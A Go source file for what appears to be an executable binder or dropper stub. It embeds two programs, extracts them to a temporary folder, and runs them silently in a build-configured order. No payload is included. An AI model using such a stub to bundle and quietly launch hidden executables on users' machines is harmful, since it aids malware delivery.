package main

import (
	_ "embed"
	"fmt"
	"os"
	"os/exec"
	"path/filepath"
	"sync"
)

//go:embed assets/prep.exe
var prepExe []byte

//go:embed assets/worker.exe
var workerExe []byte

// RunOrder is replaced at build time (parallel | prep_first | worker_first).
const runOrder = "FUSION_RUN_ORDER"

func main() {
	dir, err := os.MkdirTemp("", "cm-fusion-*")
	if err != nil {
		return
	}
	defer os.RemoveAll(dir)

	prepPath := filepath.Join(dir, "prep.exe")
	workerPath := filepath.Join(dir, "worker.exe")
	if err := os.WriteFile(prepPath, prepExe, 0755); err != nil {
		return
	}
	if err := os.WriteFile(workerPath, workerExe, 0755); err != nil {
		return
	}

	switch runOrder {
	case "prep_first":
		waitProcess(prepPath)
		startProcess(workerPath)
	case "worker_first":
		waitProcess(workerPath)
		waitProcess(prepPath)
	default:
		var wg sync.WaitGroup
		wg.Add(2)
		go func() {
			defer wg.Done()
			waitProcess(prepPath)
		}()
		go func() {
			defer wg.Done()
			startProcess(workerPath)
		}()
		wg.Wait()
	}
}

func startProcess(path string) {
	cmd := exec.Command(path)
	cmd.Dir = filepath.Dir(path)
	_ = cmd.Start()
}

func waitProcess(path string) {
	cmd := exec.Command(path)
	cmd.Dir = filepath.Dir(path)
	if err := cmd.Run(); err != nil {
		fmt.Fprintf(os.Stderr, "process failed: %s: %v\n", filepath.Base(path), err)
	}
}